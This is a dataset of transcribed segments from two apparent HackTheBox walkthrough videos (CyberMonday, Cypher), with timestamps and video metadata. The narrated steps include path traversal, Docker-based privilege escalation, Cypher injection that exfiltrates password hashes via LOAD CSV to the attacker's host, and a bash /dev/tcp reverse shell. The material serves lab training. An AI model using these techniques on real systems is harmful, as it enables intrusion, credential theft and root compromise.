text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
something is bad here and the issue is probably going to be these backslashes so let's do V payload um shoot I want to go back and grab this one copy it's easier if I do escape the slashes first so we do percent s escape a slash like that there we go so now all the one backslash is now two so that escapes because the p...
3,784.68
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
put quotes here still don't see IPC 2 that is slightly worrying let's see let's do what we always do simplify the payload we'll call IFC 2 test migrate still don't see it we did IC 3 we get rid of this copy something is going wrong let's kill our Docker did not get a connection make sure this key exist send it nothing ...
3,900.119
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
10 10 11 to 28 uh my VPN died so I'm going to uh figure out what happened maybe my internet died when I was recording um and get that fixed okay um I am connected again my internet's been flaky today for some reason but let's do key and pick up where we left off so we're still trying to get this data written if I send ...
4,118.92
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
see we do get rid of this test that took longer we have it so we know we're having some issue with this payload and I'm not exactly sure what this is I guess one way we could test it is let's send the request to 101148 and we'll send it to 901 and listen on it see nclv NP 901 okay so we did a set IPC 5 and sent this wh...
4,191.08
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
oh want do we have to escape all these let's see wonder if we have to do double backslashes when escaping the quotes this one piece of the box is taking longer than I expected but hopefully you're getting some good debugging methodology type stuff out of this still invalid arguments I think that's fine let's see set IP...
4,307.6
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
request so let's go where I have this run this command and we can see we are escaping the single quote here that looks good so let's now go back to reddis 6379 Y is not live I like that error SEC n it took a long time which to me that is good key star we have IC 9 that is key3 though you may have used that but that loo...
4,451.4
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
error let's refresh we got an error and we got data but the shell exited which probably means we mistyped our PHP Gadget let's see yeah we don't have the zero and one um so see was that in six zero and one like that uh so now we have to do the annoying thing and replace can't write in this directory okay so the first t...
4,549.28
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
see script DH so do quiet I think we just do script DQ Dev null maybe type and Bash there we go stty raw minus Echo FG so this is just another thing that's the same thing as the python PTY PTY spawn okay export term is equal to X term clear the screen and we have a good TTY awesome and sorry to jump back I just remembe...
4,682.44
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
Dorking right so if we went to site and put this URL get rid of migrate so we're only going to look for things that have this and maybe it's some n URL not site and then we can just say host port and double quotes go to Google and this will show us all the commands uh we have one emitted result and that's because um I ...
4,751.4
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
in a cluster so that wouldn't work right but this is just how like I would find one command and how I pivot using the information in that command to search documentation for everything else isn't useful here but I'm sure if you take note of this it will probably come use for you when you try to pillage other documentat...
4,815.76
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
oh we don't have that we could probably curl it right uh failed to connect to Port 80 336 so we can access it we probably don't have like any my client so we can either like upload tools to the box or just um do a reverse proxy and the reverse proxy is probably going to be the easier route so let's make a directory dub...
4,871.199
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
execute it permission denied that's probably because um Dev shm is mounted with no exec if I do this we see shm no exact I don't see/ temp in here so we can just copy um chisel to Temp and then do the same chod command and we should be able to execute chisel so now we can do client and then 10 10 148 801 and I think it...
4,956.08
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
what the uh database IP is uh that's the wrong pain um can control Z background that probably still works uh C Etsy host where 172 1806 probably we are um see C- VDB 1721 1804 is the database 17284 let trying to connect to it we may have to foreground this okay denied for user ipac we can do root and the password was r...
5,050.76
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
admin uncore web hooks paste this in save it and let's see is there anything else we want to do um I think we wanted to look at the reddis CLI so let's go back here um let's see curl was it just redis 6379 DV um that is going to be 0.7 it looks like was that RP first name- I or 06 okay foreground the Chisel and we can ...
5,163
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
redus IP was on 7 and we have four five if you include the host so there's two IPS we don't exactly know that are probably online in the docker container so um before we enumerate those I always like starting some work in the background and now is a good time as ever to start cracking the two hashes we just got I don't...
5,263.159
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
network right uh because you should never really crack hashes on your main rig because it's going to make your computer go slow or at least if you do it on it don't do it in a VM the main reason I'm not using my computer to crack because I'm also recording and that could lead to drop frames and things like that so um i...
5,322.639
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
cat uh Pro net won't show us the host but we can see the IPS eight resolves to a null uh Mac address because it doesn't exist so we do know it goes up to that we've talked to most of these host but again not giving us any host names so um let's see we did C that didn't work not sure what else to try so let us just do s...
5,390.6
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
o n map um start the web server chod plus X and map and then we can do 17218 um what's your IP first name- I yeah and map 17218 0 0 slash we'll do 24 um Min rate let's set it for 1,00 endm let's see unable to find and map services to like a scan method there we go um I should also add like a-v and then let's say D- ope...
5,472.719
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
this do we have to do like A- PN no what are we missing what is the actual error unable to find end map services resorting to Etsy Services I'm not sure exactly why it errors when I say like a full port scan this error makes sense if we just want to do like the top ports but we didn't um it didn't um error when we did ...
5,590.92
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
that Dash Capital PN flag is probably What's um taking so long I think that is disabling the use of ping I've use that because I'm not running as route so that's generally my first go-to when end map's not working and I'm not able to run it with pseudo route or the capability I do the- Capital PN and we see one port is...
5,669.199
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
nonsense but we don't really have anything right so let's see the cracking is still going um I guess we could run chisel not chisel um gobster and probably want to copy Go Buster over to the Box because again uh I'm going have to copy gobster and the wordless probably but doing gobster through the proxy could be slow r...
5,746.76
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
5,000 HTTP and there we go we have a v 2 directory so if I go into slv2 we have to foreground our chisel proxy we just have blank Json we did a cur uh 17283 5000 v2- v um we can see it is a docka distribution um API so this is a doca registry definitely so I'm just going to foreground this and then we will work with it...
5,866.239
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
should have grabbed that right um let's see pseudo V Etsy proxy chains how can we turn that off random chain we'll turn qu mode on we still get that huh I don't know why JQ is not working there but maybe we can just do Echo this JQ Dot there we go um so there is the Cyber mondore API repository um let's see catalog is ...
5,961.88
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
registry Docker pole remote registry I wonder if it was on this page and I just did not keep reading I know we've done it before in a box if you went to ic. rocks I'm sure it would have it like that invalid format there we go so I think it is going to pull says it's using the tag latest that looks to be fine it's just ...
6,096.4
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
configure the docker service with a proxy what if we just do HTTP proxy let's try this real quick it may obey environment variables maybe not uh we are listenting on 1080 let's see I I don't think that's going to work um I'm sure if we configured the service like they said it would but we could also um let's see run th...
6,202.84
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
is um proxy chain works by I think LD preload um which works on um doesn't work on statically compiled binaries which go Ling is so proxy chains can't ENT intercept the request for network and can't just put the proxy on it right but if we just create a socket and arm machine avoid the proxy all together it just magica...
6,306.36
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
have to say- maybe I think that puts us in a interactive terminal there we go so now we're in the web hooks um config right so if we went all the way back the web hooks API this is the um source code we're now looking at so let's see we can probably copy that outside of this so M API CD API uh Docker I'm just going to ...
6,381.36
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
if we cat config.php um dbhost DB name DB user DB pass is it like a EnV file um let's see there does not appear to be so let's see I guess we can remove this for dubd HTML there is not so how I'm guessing is when they run the docker on the server they pass in the environment variable which is a good way to do it is the...
6,506.76
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
issue as well as the PHP SEC lib so if this was production we definitely need to update those the thing I mainly curious in is um I wonder the code quality is oh um not sure exactly what that's saying is never executed because it appears after return 129 oh we got a return here and then a second return um so this funct...
6,582.44
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
function that's highlighting this is the web hook action for logs and the list was saying we can do pth reversal here as well as read because eventually it does a file get contents and sneak did not like this which looks like it is the filtering in place so let's step through this the first thing it's going to do is lo...
6,666.079
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
directory traversal so that's why we'll put spaces in the f future looking at this we have um it checking to make sure log is in the name and then making sure the file exists so this looks relatively straightforward to exploit we have to get to a hook that has the log method right I think we just did a get on web hooks...
6,737.04
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
tabs this will be called create web hook already exist so we'll call this read and our action can we just do read here let's see so I guess we want to do the create log file we have this web hook say we want to do log name and let's do VAR log messages um log content stuff so we can create wonder if we'd specify action...
6,853.199
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
defined and let's see so now I think we're where we think we are so we're at read how do we get log name so log path uh web hook find name this data log name so I think log name is it can we do like ver log messages here action is not defined it is messages what did I just have oh it's probably because that's invalid J...
7,006.84
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
right so we'll do do do space slash a few of those and we have to add the space because remember later on uh we filter for slash do do slash and later on we remove spaces so we have that now does it work it does so now we can read files um let's do proc self Environ oh uh we need log to exist right so we can just do um...
7,122.679
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
log okay so I know what happened if you specify a directory in the traversal that doesn't exist like I was thinking um this it would just like be smart enough to go up up um up hit log go back down right or up I should say but it's not it goes it tries to Traverse it says log doesn't exist and fails here so when I put ...
7,300.48
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
break does that work that is just worse let's copy this Vim okay so host name let's just do it the oldfashioned way till we see things that stick out there's got to be a better way to do this so one thing that sticks out right now is is we have a different database password and that database password is this right on t...
7,384.32
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
about the change log was in Mount uh we can just show that again that's here um change log path Mount Chang log. text so if we look at Mount we do have the change log and that's where the user flag is as well so don't see any names here we do LS logs oh this is where we could um write the file right this is what we um ...
7,493.199
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
that's the same thing we saw at in Mount in that Docker container the first thing I do whenever looking for prives is just do A-L and we can see John may run this secure composed python file as root so let's take a look at this uh let's do V I guess I wish I had syntax highlighting um let's just C it oh shoot uh copy m...
7,578.04
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
list so we want to look at exactly where this function is um and it looks like it is used in this check white list so these two things are tied and check white list is going to look at the volumes and make sure the volumes is part of the white list so is path inside it looks like um what this is doing is just allowing ...
7,670.92
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
the host Opera system um there is probably a way around this because we can just mount it read only and then once we're in the dock container if we're root we can remount it to be read right as long as we have the capability right um check no privilege no sim links and Main so there's a few things we could do we can ei...
7,751.679
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
and if we went to the docker compos file documentation let's see if this gets me there right away overview is this it is so um they have a lot of checking around the volumes but there is devices so instead of passing the volume we could probably just pass Dev sda1 in or whatever the raw device is so let's try that um t...
7,819
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
do it um in most things historically we've always used Alpine because that's a small image that's generally on the box but in this case we know cyber mondore API was in the dockor registry so the next thing to do would be uh we can set the command we want to be ran when it builds so we can do bash Das C then bash I can...
7,898.28
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
do LS Dev we can see sda1 is here uh you generally don't want to mount the same disc twice because if you do bad things will happen right so probably the best thing to do here would be um if we have debug FS which we probably do it's on a lot of things we do to use that um so let's export term is equal to X term uh scr...
7,998.88
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
and um try it again so yep going to pause the video and revert okay the box has been reverted so let's try this again and if it doesn't work um we'll move to the other way we could do it uh we're do birthways anyways but I did not think this would be that uh dangerous and this goes to show even though you think somethi...
8,157.599
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
kind of saw um but there is debug FS so we can do this um if we spell debug FS correctly and we want to probably do our stty again 28 rows columns 110 stty rows 28 calls 110 that may make this output better not really uh we can see all the directories so we could go cd/ root LS and we can cat root. text and get the fla...
8,248.719
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
SSH uh file system open read only CE to quit uh we can do a-w to open this and right and bad things are probably going to happen but let's just do it live uh we want to get a SSH key on this box um let's see s key gen-f Cyber Monday cat saber monday.
8,293.76
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
Pub grab this this V key.
8,326.04
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
Pub Echo this to authorize Keys okay we have the file owner disk so let's go back to debug FS open this in right mode and pray we don't kill the Box uh let's go cd/ root sh is not there we can make d. SS H go in it and then we can say write the contents of Slash authorize keys to authorize keys so it created that node ...
8,333.84
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
foreground bash export term X term okay debug fsw Dev sda1 we're back in business um CD root SSH we do have an authorized key file our key is there can't use it I'm going to guess it is permission related um let's see is there a CH mod I don't know how to change permissions uh let's see debug FS change permission of fi...
8,483.359
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
i z e d keys so there may be something preventing um root from executing this um I guess we could write bin bash to Temp Bash and then Mi temp bash and we want to change this mode to be uh set uid so what would be a set uid permission um let's see let's just do Mi on user bin p ping cuz ping is generally set u ID 01 75...
8,639.2
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
mode and hit enter a bunch then we can quit we do temp there is a bash it is set u ID temp bash DP and wrong version of bash I'm guessing it ran the bash that was in the docker container not the one that was um on the system which is annoying so let's see python 3M let's CP Ben bash to Dev shm let's copy this bash C 17...
8,789.92
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
that's why the authorized key did not work um that make dur command was not safe to run apparently if we do stat. SSH uh I have no idea CH own root root S that thing is clobbered um so that's why we could add the key apparently make dur was the wrong command to run but that is one way we could rot this right let's do a...
8,930.2
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
never use debug FS to touch the file system it's a bad idea so reverting the Box we'll be back in a minute okay so I have rebooted the machine and just kind of restored it to how we would expect it um we're doing everything with the devices directive we can do volumes and then we have to specify someone that begins wit...
9,019.359
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
the password in pseudo opt secure compose malicious yo let's not forget a reverse shell run this and we have it if we go to SL Mount we have the home directory of John now it is read on only if we try to touch it we can't it says read only we can do m- o remount rw/ Mount and we still have something it says it is right...
9,087.84
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
armor unconfined to add that policy and then when we we run this again it is started let's do amount d o remount or W on Mount and it suddenly works right so now if we go in John's directory um we can just copy bash there so I'm going to CP bin bash to my home directory so if I do LS we see bash is there we can chod 47...
9,160.92
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
home dot dot slash whatever um because uh it's this environment variable so if for some reason we could poison PSE sudore user then we could make that username do do/ root so it would be Whit list home do do root and it would work but there's no way for us to poison that envir variable to my knowledge so that's why it ...
9,244.04
0
{ "video_id": "VNMn5bXA8XY", "title": "HackTheBox - CyberMonday", "url": "https://www.youtube.com/watch?v=VNMn5bXA8XY" }
What's going on, YouTube? This is IPSC and we'll be doing Cipher from Hack the Box, which starts off with cipher injection, which I found to be really fun to play with. You're probably most familiar with cipher syntax as it's what Blood Hound uses. But with this, we're just using Neo4j without Blood Hound. So, we'll ha...
0.24
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
scripts, SV enumerate versions VV for double boost, which gives us things like the TTL o output all formats in the end map directory and call it cipher. And then the IP address of 101011.57.
42.399
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22. And the banner tells us it's an Ubuntu server. We also have HTTP on port 80. Its banner tells us it's engine X also running on Ubuntu.
54.48
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And it's directing us over to cipher.htb. So let's go ahead and add this to our host mall. So pseudo vets host. And then we can do 10 10 1157 cipher.htb.
72
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Save that. And let's go take a look at the web page because there's not much else for us to look at. So we do http cipher http. We get a page that just has like graph asm. Now I always like having recon going on in the background. So I'm going to start up a go buster that's just going to find um open directories or fil...
83.759
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
graphs. Um, it's probably building this little thing that doesn't seem to like my VM, right? But looking at it, we also have a comment. I don't know exactly what that's supposed to mean. And the main thing I look for here is just identifying how the web page works, right? We also have like a get/data.json and then it's...
148.56
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
like trying admin admin and we get access is denied. Um I'm going to try something that doesn't exist to see if I get like a user not found. We still just get access is denied. I'm going to go look at Burp Suite. So let's go turn intercept on. Go back to admin. Admin send this request. And then let's put it over to the...
204.64
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
database. Um, like Neo4j or something like that. Um, very similar to like what Blood Hound uses because it's running Neo4j. And then we run cipher queries. So, let's just scroll down to see exactly what is in this error message.
256.959
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
So, it's definitely Neo4j. We have a cipher syntax error. And this is the syntax we have. So, it's going to match um a user, find the secret relation, and then it looks like it's going to get the SHA one of that secret relation um where the username is equal to what we specified, and then it's going to return the SHA o...
271.84
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And let's see now we get invalid credentials. So we have um successfully made that query back. So let's go back to where we have it erroring out. I'm going to autoscroll where it matches. So what I want to do is find a way to bypass authentication, right? So um what I'm guessing here since it's returning the hash, it's...
321.199
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
returns value. Um we probably don't want to use double quotes because that's going to break JSON. We could like escape them but always simpler just to use single quotes. And let's see, we have an error somewhere. Let's see. Or true return value is hash JSON decode error.
383.039
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Uh, it's probably because of this double quote. There we go. Invalid credentials. So, what I want to do is put the Shaw one sum of our password here. So, I'm just going to change the password to be like please subscribe, right? So, we can do echo please subscribe. And I also want to do a dash n so it doesn't add that l...
402.24
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And we're doing the shaw one sum because when it errored out on us if we go back to it.
427.919
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Uh let's go here. Um right here it's saying shaw one. So that's the indication I wanted to use a sha one sum. So I'm going to put please subscribe here. And then we're going to return the Shaan sum. So this is the Shaan sum of please subscribe. And if we hit enter um or control spacebar to send the request, not enter, ...
433.759
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
back and we're going to show the other thing we can do. So if we just do um username let's put it back to admin so we can easily find ourselves. Right.
485.039
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Uh oh I hit enter. There we go.
496.96
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And auto scroll. There we go. So, what I'm going to do now is I want to Xfill this hash. Right. So, what I'm going to do is um what I did before with the or true and I'm going to do load CSV from and then we're going to put our web server. So, we'll do HTTP 101048 port 8000. We'll say xfill is equal to and we'll close ...
503.919
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Um and we'll just say that is v. It doesn't really matter. We're just um declaring that as a variable. And then we want to say return v as hash. There we go. Uh don't forget to comment out the end.
541.12
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And now when I do nclvnp on port 8000, we send this request. Come here. And we can see the server is making a get request back to us and sending us the hash. Right? So what this load CSV from does is that cipher query to say, hey, go grab a CSV from this URL. Right? So we say, okay, we're going to go from this URL and ...
560.56
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And this is going to be the sha one sum of the um user's password.
590.16
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Unfortunately, it doesn't crack. So you can't really just know what the password for the user is and log in that way, right? But I did want to show how to just xfill data out of um a Neo4j database. So let's now um copy the lo authe authentication bypass and we're going to go to our request paste it in forward it and n...
595.279
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
what we have. So, we could again xfiltrate the uh password hash, right?
654.079
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Looking at all these queries, none of them really get us what we want. This is just getting IP addresses. If we do HTTP status, um, something sticks out. We're doing a call to a custom function. And I'll get into this in just a little bit, but I do want to go and write a custom cipher query. Um, none of them are matchi...
660.64
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
ahead and find the relations. So we'll do a dash and then this again is a variable name. It doesn't matter what it is. Most people use R because it's showing relations. And then we're going to go and um grab connected. And now if I return these three, we're going to see graphana. It's got a relation with secret. And he...
720.32
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
So, um, what else can we do here? Right, I want to go back to this custom function and it's doing a call. So, it's going to run a custom function to custom get URL status code. And this is where if you have recon always going on in the background, it's going to definitely help, right? Because if we go back to our Go Bu...
768.56
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And we have um, some class files. We have custom functions.class. I'm going to use jad x to decompile it. So we'll do jad x custom functions.class and uh file not found. Oh, it's working out of wherever it's installed. So we'll do pwd. I want to do dash h because I want out file. Um dash d is for where we write to. So ...
825.92
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
There we go. And the reason I'm doing this is because for some reason when I'm running Jad X, my current working directory is not this. It's wherever Jad X is located. So that's why it can't like create directories because it's probably in some user folder where my user doesn't have permission to. So by specifying the ...
863.12
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And we're giving it the um parameter URL. And then if we go down, we see what it's going to do. It's going to do binsh curl this command and then append the URL. And because it's doing a essentially a bash- c, we have command ejection here, right? If this curl was here and then it just was all arguments, we wouldn't be...
908
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
These are arguments. Um because we're doing a system command as an argument, it becomes vulnerable to command injection. Whereas if we're just doing curl here and then inside of an argument, we can't really escape out of that argument. Um but let's see. So we should be able just to call this function and have some type...
956.88
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
So the next thing I want to do is just verify I'll be able to um use the pipe because if I can use the pipe I can easily get command injection here or a reverse shell here right. Uh, so let us do echo, please subscribe. And then I typo that horribly, but the typo doesn't really matter because all I want is this B 64 st...
1,018.16
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Let's do bash c. I don't know normally how I do this, right? Uh we actually don't need any bash- c. We'll just do bash dash um i dev tcp 1010 148 9,000 1 0 and one like that. Okay. B 64 W 0. And then I'm going to eyeball this. And wherever there's a special character like this plus, I'm going to put a space because spa...
1,068
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
search and we get a shell. So let's just quickly do a Python 3- C import pty pty spawn then bin bash stty raw minus echo foreground enter awesome export term is equal to xterm which will let us clear the screen and the last thing I want to point out um let's just send this over to burpswuite real quick so I'm going to ...
1,131.84
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
